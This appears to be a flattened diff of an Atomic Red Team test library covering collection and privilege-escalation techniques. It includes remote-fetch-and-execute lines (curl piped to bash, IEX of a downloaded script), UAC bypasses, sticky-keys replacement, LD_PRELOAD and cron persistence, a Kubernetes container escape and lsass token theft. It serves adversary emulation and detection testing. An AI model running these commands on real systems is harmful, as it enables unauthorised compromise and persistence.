cleanup_command: 'Remove-Item -Force #{output_file} -ErrorAction Ignore -' + ' name: powershell - name: Stage data from Discovery.sh auto_generated_guid: 39ce0303-ae16-4b9e-bb5b-4f53e8262066 description: 'Utilize curl to download discovery.sh and execute a basic information gathering shell script -' + ' supported_platforms: - linux - macos @@ -9049,7 +9049,7 @@ collection: command: 'curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | bash -s > #{output_file} -' + ' name: bash - name: Zip a Folder with PowerShell for Staging in Temp auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a @@ -9071,10 +9071,10 @@ collection: command: 'Compress-Archive -Path #{input_file} -DestinationPath #{output_file} -Force -' + ' cleanup_command: 'Remove-Item -Path #{output_file} -ErrorAction Ignore -' + ' name: powershell T1114.001: technique: @@ -9145,23 +9145,23 @@ collection: dependencies: - description: 'Get-Inbox.ps1 must be located at #{file_path} -' + ' prereq_command: 'if (Test-Path #{file_path}\Get-Inbox.ps1) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114.001/src/Get-Inbox.ps1" -OutFile "#{file_path}\Get-Inbox.ps1" -' + ' executor: command: 'powershell -executionpolicy bypass -command #{file_path}\Get-Inbox.ps1 -file #{output_file} -' + ' cleanup_command: 'Remove-Item #{output_file} -Force -ErrorAction Ignore -' + ' name: powershell T1185: technique: @@ -9501,7 +9501,7 @@ collection: or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) -' + ' name: Screen Capture created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688 @@ -9533,7 +9533,7 @@ collection: auto_generated_guid: 0f47ceb1-720f-4275-96b8-21f0562217ac description: 'Use screencapture command to collect a full desktop screenshot -' + ' supported_platforms: - macos input_arguments: @@ -9544,16 +9544,16 @@ collection: executor: command: 'screencapture #{output_file} -' + ' cleanup_command: 'rm #{output_file} -' + ' name: bash - name: Screencapture (silent) auto_generated_guid: deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4 description: 'Use screencapture command to collect a full desktop screenshot -' + ' supported_platforms: - macos input_arguments: @@ -9564,17 +9564,17 @@ collection: executor: command: 'screencapture -x #{output_file} -' + ' cleanup_command: 'rm #{output_file} -' + ' name: bash - name: X Windows Capture auto_generated_guid: 8206dd0c-faf6-4d74-ba13-7fbe13dce6ac description: 'Use xwd command to collect a full desktop screenshot and review file with xwud -' + ' supported_platforms: - linux input_arguments: @@ -9596,11 +9596,11 @@ collection: dependencies: - description: 'Package with XWD and XWUD must exist on device -' + ' prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit 1; fi -' + ' get_prereq_command: "sudo #{package_installer} \n" executor: command: | @@ -9608,14 +9608,14 @@ collection: xwud -in #{output_file} cleanup_command: 'rm #{output_file} -' + ' name: bash - name: Capture Linux Desktop using Import Tool auto_generated_guid: 9cd1cccb-91e4-4550-9139-e20a586fcea1 description: 'Use import command from ImageMagick to collect a full desktop screenshot -' + ' supported_platforms: - linux input_arguments: @@ -9626,28 +9626,28 @@ collection: dependencies: - description: 'ImageMagick must be installed -' + ' prereq_command: 'if import -help > /dev/null 2>&1; then exit 0; else exit 1; fi -' + ' get_prereq_command: 'sudo apt-get -y install graphicsmagick-imagemagick-compat -' + ' executor: command: 'import -window root #{output_file} -' + ' cleanup_command: 'rm #{output_file} -' + ' name: bash - name: Windows Screencapture auto_generated_guid: 3c898f62-626c-47d5-aad2-6de873d69153 description: 'Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour -' + ' supported_platforms: - windows input_arguments: @@ -9669,7 +9669,7 @@ collection: cmd /c "timeout #{recording_time} > NULL && psr.exe /stop" cleanup_command: 'rm #{output_file} -ErrorAction Ignore -' + ' - name: Windows Screen Capture (CopyFromScreen) auto_generated_guid: e9313014-985a-48ef-80d9-cde604ffc187 description: | @@ -9693,7 +9693,7 @@ collection: $bitmap.Save("#{output_file}") cleanup_command: 'Remove-Item #{output_file} -ErrorAction Ignore -' + ' name: powershell T1213.002: technique: @@ -10083,7 +10083,7 @@ privilege-escalation: description: 'Comma separated list of system binaries to which you want to attach each #{attached_process}. Default: "osk.exe" -' + ' type: String default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe @@ -10091,7 +10091,7 @@ privilege-escalation: description: 'Full path to process to attach to target in #{parent_list}. Default: cmd.exe -' + ' type: Path default: C:\windows\system32\cmd.exe executor: @@ -10125,7 +10125,7 @@ privilege-escalation: auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3 description: 'Replace sticky keys binary (sethc.exe) with cmd.exe -' + ' supported_platforms: - windows executor: @@ -10136,7 +10136,7 @@ privilege-escalation: copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe cleanup_command: 'copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe -' + ' name: command_prompt elevation_required: true T1547.014: @@ -10395,11 +10395,11 @@ privilege-escalation: - description: 'Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file}) -' + ' prereq_command: 'if ((Test-Path #{registry_file}) -and (Test-Path #{registry_cleanup_file})) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path #{registry_file}) -ErrorAction ignore | Out-Null @@ -10408,11 +10408,11 @@ privilege-escalation: - description: 'DLL''s must exist in the C:\Tools directory (T1546.010.dll and T1546.010x86.dll) -' + ' prereq_command: 'if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll)) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll @@ -10420,10 +10420,10 @@ privilege-escalation: executor: command: 'reg.exe import #{registry_file} -' + ' cleanup_command: 'reg.exe import #{registry_cleanup_file} >nul 2>&1 -' + ' name: command_prompt elevation_required: true T1546.011: @@ -10531,31 +10531,31 @@ privilege-escalation: - description: 'Shim database file must exist on disk at specified location (#{file_path}) -' + ' prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path #{file_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb" -OutFile "#{file_path}" - description: 'AtomicTest.dll must exist at c:\Tools\AtomicTest.dll -' + ' prereq_command: 'if (Test-Path c:\Tools\AtomicTest.dll) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path c:\Tools\AtomicTest.dll) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll" -OutFile c:\Tools\AtomicTest.dll executor: command: 'sdbinst.exe #{file_path} -' + ' cleanup_command: 'sdbinst.exe -u #{file_path} >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: New shim database files created in the default shim database directory @@ -10753,7 +10753,7 @@ privilege-escalation: description: 'This test submits a command to be run in the future by the `at` daemon. -' + ' supported_platforms: - linux input_arguments: @@ -10769,30 +10769,30 @@ privilege-escalation: dependencies: - description: 'The `at` and `atd` executables must exist in the PATH -' + ' prereq_command: 'which at && which atd -' + ' get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'' -' + ' - description: 'The `atd` daemon must be running -' + ' prereq_command: 'systemctl status atd || service atd status -' + ' get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'' -' + ' executor: name: sh elevation_required: false command: 'echo "#{at_command}" | at #{time_spec} -' + ' T1053.002: technique: external_references: @@ -10889,7 +10889,7 @@ privilege-escalation: elevation_required: false command: 'at 13:20 /interactive cmd -' + ' T1547.002: technique: id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec @@ -11199,7 +11199,7 @@ privilege-escalation: cmd.exe /c eventvwr.msc cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1 -' + ' name: command_prompt - name: Bypass UAC using Event Viewer (PowerShell) auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b @@ -11221,7 +11221,7 @@ privilege-escalation: cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore -' + ' name: powershell - name: Bypass UAC using Fodhelper auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182 @@ -11243,7 +11243,7 @@ privilege-escalation: cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1 -' + ' name: command_prompt - name: Bypass UAC using Fodhelper - PowerShell auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa @@ -11266,7 +11266,7 @@ privilege-escalation: cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore -' + ' name: powershell - name: Bypass UAC using ComputerDefaults (PowerShell) auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f @@ -11289,7 +11289,7 @@ privilege-escalation: cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Bypass UAC by Mocking Trusted Directories @@ -11337,7 +11337,7 @@ privilege-escalation: cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore -' + ' name: powershell - name: Disable UAC using reg.exe auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9 @@ -11350,11 +11350,11 @@ privilege-escalation: command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f -' + ' cleanup_command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f -' + ' name: command_prompt elevation_required: true - name: Bypass UAC using SilentCleanup task @@ -11401,7 +11401,7 @@ privilege-escalation: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -11412,7 +11412,7 @@ privilege-escalation: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -11437,7 +11437,7 @@ privilege-escalation: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -11448,7 +11448,7 @@ privilege-escalation: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -11472,7 +11472,7 @@ privilege-escalation: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -11483,7 +11483,7 @@ privilege-escalation: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -11508,7 +11508,7 @@ privilege-escalation: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -11519,7 +11519,7 @@ privilege-escalation: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -11543,7 +11543,7 @@ privilege-escalation: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -11554,7 +11554,7 @@ privilege-escalation: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -11578,7 +11578,7 @@ privilege-escalation: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -11589,7 +11589,7 @@ privilege-escalation: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -11614,7 +11614,7 @@ privilege-escalation: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -11625,7 +11625,7 @@ privilege-escalation: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -11650,7 +11650,7 @@ privilege-escalation: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -11661,7 +11661,7 @@ privilege-escalation: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -11775,7 +11775,7 @@ privilege-escalation: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -11820,7 +11820,7 @@ privilege-escalation: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -11858,7 +11858,7 @@ privilege-escalation: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -11975,10 +11975,10 @@ privilege-escalation: executor: command: 'assoc #{extension_to_change}=#{target_extension_handler} -' + ' cleanup_command: 'assoc #{extension_to_change}=#{original_extension_handler} -' + ' name: command_prompt elevation_required: true T1078.004: @@ -12179,7 +12179,7 @@ privilege-escalation: CronJob for scheduling execution of malicious code that would run as a container in the cluster. -' + ' supported_platforms: - containers input_arguments: @@ -12190,17 +12190,17 @@ privilege-escalation: dependencies: - description: 'kubectl must be installed -' + ' get_prereq_command: 'echo "kubectl must be installed manually" -' + ' prereq_command: 'which kubectl -' + ' executor: command: 'kubectl get cronjobs -n #{namespace} -' + ' name: bash elevation_required: false - name: CreateCronjob @@ -12212,7 +12212,7 @@ privilege-escalation: CronJob for scheduling execution of malicious code that would run as a container in the cluster. -' + ' supported_platforms: - containers input_arguments: @@ -12223,20 +12223,20 @@ privilege-escalation: dependencies: - description: 'kubectl must be installed -' + ' get_prereq_command: 'echo "kubectl must be installed manually" -' + ' prereq_command: 'which kubectl -' + ' executor: command: 'kubectl create -f src/cronjob.yaml -n #{namespace} -' + ' cleanup_command: 'kubectl delete cronjob art -n #{namespace} -' + ' name: bash elevation_required: false T1134.002: @@ -12307,7 +12307,7 @@ privilege-escalation: .\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") cleanup_command: 'taskkill /im cmd.exe /f -' + ' name: powershell elevation_required: true T1543: @@ -12440,7 +12440,7 @@ privilege-escalation: of the referenced file. This technique was used by numerous IoT automated exploitation attacks. -' + ' supported_platforms: - macos - linux @@ -12460,7 +12460,7 @@ privilege-escalation: echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} cleanup_command: 'crontab /tmp/notevil -' + ' - name: Cron - Add script to all cron subfolders auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0 description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily, @@ -12468,7 +12468,7 @@ privilege-escalation: schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. -' + ' supported_platforms: - macos - linux @@ -12500,7 +12500,7 @@ privilege-escalation: to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. -' + ' supported_platforms: - linux input_arguments: @@ -12517,10 +12517,10 @@ privilege-escalation: name: bash command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name} -' + ' cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -' + ' T1574.001: technique: id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34 @@ -12695,10 +12695,10 @@ privilege-escalation: dependencies: - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable}) -' + ' prereq_command: 'if (Test-Path #{gup_executable}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}" @@ -12706,7 +12706,7 @@ privilege-escalation: command: "#{gup_executable}\n" cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 -' + ' name: command_prompt T1078.001: technique: @@ -12826,7 +12826,7 @@ privilege-escalation: description: 'The Adversaries can activate the default Guest user. The guest account is inactivated by default -' + ' supported_platforms: - windows input_arguments: @@ -12837,10 +12837,10 @@ privilege-escalation: executor: command: 'net user #{guest_user} /active:yes -' + ' cleanup_command: 'net user #{guest_user} /active:no -' + ' name: command_prompt elevation_required: true T1078.002: @@ -13281,21 +13281,21 @@ privilege-escalation: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) -' + ' prereq_command: 'if [ -f #{path_to_shared_library ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} -' + ' executor: command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload'' -' + ' cleanup_command: 'sudo sed -i ''\~#{path_to_shared_library}~d'' /etc/ld.so.preload -' + ' name: bash elevation_required: true - name: Shared Library Injection via LD_PRELOAD @@ -13320,18 +13320,18 @@ privilege-escalation: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) -' + ' prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} -' + ' executor: command: 'LD_PRELOAD=#{path_to_shared_library} ls -' + ' name: bash T1055.001: technique: @@ -13431,10 +13431,10 @@ privilege-escalation: dependencies: - description: 'Utility to inject must exist on disk at specified location (#{dll_payload}) -' + ' prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}" @@ -13580,7 +13580,7 @@ privilege-escalation: description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124 -' + ' supported_platforms: - macos input_arguments: @@ -13678,24 +13678,24 @@ privilege-escalation: - description: Verify docker is installed. prereq_command: 'which docker -' + ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi -' + ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker -' + ' get_prereq_command: 'sudo systemctl start docker -' + ' - description: Verify kind is in the path. prereq_command: 'which kind -' + ' get_prereq_command: | curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64 chmod +x ./kind @@ -13703,14 +13703,14 @@ privilege-escalation: - description: Verify kind-atomic-cluster is created prereq_command: 'sudo kind get clusters -' + ' get_prereq_command: 'sudo kind create cluster --name atomic-cluster -' + ' - description: Verify kubectl is in path prereq_command: 'which kubectl -' + ' get_prereq_command: | curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" chmod +x ./kubectl @@ -13721,11 +13721,11 @@ privilege-escalation: true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'' -' + ' name: sh cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-escape-pod -' + ' T1546: technique: id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db @@ -14269,7 +14269,7 @@ privilege-escalation: auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8 description: 'Leverage Global Flags Settings -' + ' supported_platforms: - windows input_arguments: @@ -14285,19 +14285,19 @@ privilege-escalation: command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" -' + ' cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: IFEO Global Flags auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1 description: 'Leverage Global Flags Settings -' + ' supported_platforms: - windows input_arguments: @@ -14433,7 +14433,7 @@ privilege-escalation: description: 'This test uses the insmod command to load a kernel module for Linux. -' + ' supported_platforms: - linux input_arguments: @@ -14457,10 +14457,10 @@ privilege-escalation: dependencies: - description: 'The kernel module must exist on disk at specified location -' + ' prereq_command: 'if [ -f #{module_path} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: | if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi; cp #{module_source_path}/* #{temp_folder}/ @@ -14469,7 +14469,7 @@ privilege-escalation: executor: command: 'sudo insmod #{module_path} -' + ' cleanup_command: | sudo rmmod #{module_name} [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder} @@ -14675,7 +14675,7 @@ privilege-escalation: auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900 description: 'Create a plist and execute it -' + ' supported_platforms: - macos input_arguments: @@ -14692,15 +14692,15 @@ privilege-escalation: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) -' + ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'echo "The shared library doesn''t exist. Check the path"; exit 1; -' + ' executor: name: bash elevation_required: true @@ -14794,7 +14794,7 @@ privilege-escalation: auto_generated_guid: 03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf description: 'Utilize LaunchDaemon to launch `Hello World` -' + ' supported_platforms: - macos input_arguments: @@ -14811,15 +14811,15 @@ privilege-escalation: - description: 'The shared library must exist on disk at specified location (#{path_malicious_plist}) -' + ' prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and try again."; exit 1; -' + ' executor: name: bash elevation_required: true @@ -15039,7 +15039,7 @@ privilege-escalation: auto_generated_guid: f047c7de-a2d9-406e-a62b-12a09d9516f4 description: 'Mac logon script -' + ' supported_platforms: - macos executor: @@ -15237,7 +15237,7 @@ privilege-escalation: description: 'Netsh interacts with other operating system components using dynamic-link library (DLL) files -' + ' supported_platforms: - windows input_arguments: @@ -15248,7 +15248,7 @@ privilege-escalation: executor: command: 'netsh.exe add helper #{helper_file} -' + ' name: command_prompt T1037.003: technique: @@ -15410,10 +15410,10 @@ privilege-escalation: dependencies: - description: 'DLL to inject must exist on disk at specified location (#{dll_path}) -' + ' prereq_command: 'if (Test-Path #{dll_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}" @@ -15454,7 +15454,7 @@ privilege-escalation: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}'' -ParentId #{parent_pid}' @@ -15483,7 +15483,7 @@ privilege-escalation: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}' @@ -15513,7 +15513,7 @@ privilege-escalation: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter "Name = ''svchost.exe'' AND CommandLine LIKE ''%''" | @@ -15549,7 +15549,7 @@ privilege-escalation: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}''' @@ -15959,7 +15959,7 @@ privilege-escalation: auto_generated_guid: 394a538e-09bb-4a4a-95d1-b93cf12682a8 description: 'Modify MacOS plist file in one of two directories -' + ' supported_platforms: - macos executor: @@ -16060,10 +16060,10 @@ privilege-escalation: command: 'reg add "hklm\system\currentcontrolset\control\print\monitors\ART" /v "Atomic Red Team" /d "#{monitor_dll}" /t REG_SZ -' + ' cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\print\monitors\ART" -' + ' name: command_prompt elevation_required: true T1055.002: @@ -16211,7 +16211,7 @@ privilege-escalation: profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched. -' + ' supported_platforms: - windows input_arguments: @@ -16227,13 +16227,13 @@ privilege-escalation: dependencies: - description: 'Ensure a powershell profile exists for the current user -' + ' prereq_command: 'if (Test-Path #{ps_profile}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'New-Item -Path #{ps_profile} -Type File -Force -' + ' executor: command: | Add-Content #{ps_profile} -Value "" @@ -16580,13 +16580,13 @@ privilege-escalation: cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore -' + ' name: powershell - name: RunPE via VBA auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b description: 'This module executes notepad.exe from within the WINWORD.EXE process -' + ' supported_platforms: - windows input_arguments: @@ -16598,7 +16598,7 @@ privilege-escalation: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -16609,7 +16609,7 @@ privilege-escalation: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" @@ -16732,7 +16732,7 @@ privilege-escalation: dependencies: - description: 'The 64-bit version of Microsoft Office must be installed -' + ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" @@ -16743,7 +16743,7 @@ privilege-escalation: get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -16778,7 +16778,7 @@ privilege-escalation: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) -' + ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} @@ -16793,10 +16793,10 @@ privilege-escalation: - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path}) -' + ' prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = 